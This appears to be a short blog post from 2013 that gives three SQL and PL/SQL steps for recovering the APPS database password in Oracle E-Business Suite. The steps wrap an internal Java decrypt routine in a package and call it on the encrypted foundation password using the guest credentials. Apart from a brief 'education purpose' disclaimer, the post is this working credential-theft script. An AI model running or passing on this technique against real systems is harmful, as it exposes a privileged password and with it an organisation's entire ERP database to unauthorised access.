Wednesday, 23 October 2013

Use API to get database password

I am posting below information for Education purpose . I am strongly recommend not to follow below steps in company Environment. You may lose your Job.

/* STEP 1: Create Package specification */
CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
/


/* STEP 2: Create Package body */
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2 AS LANGUAGE JAVA
 NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
 END get_pwd;



/*STEP 3: Now run below query with your username*/

SELECT (SELECT get_pwd.decrypt (fnd_web_sec.get_guest_username_pwd,
                                encrypted_foundation_password)
          FROM DUAL)
          AS apps_password
  FROM fnd_user
 WHERE user_name =
          (SELECT SUBSTR (
                     fnd_web_sec.get_guest_username_pwd,
                     1,
                     INSTR (fnd_web_sec.get_guest_username_pwd, '/') - 1)

             FROM DUAL)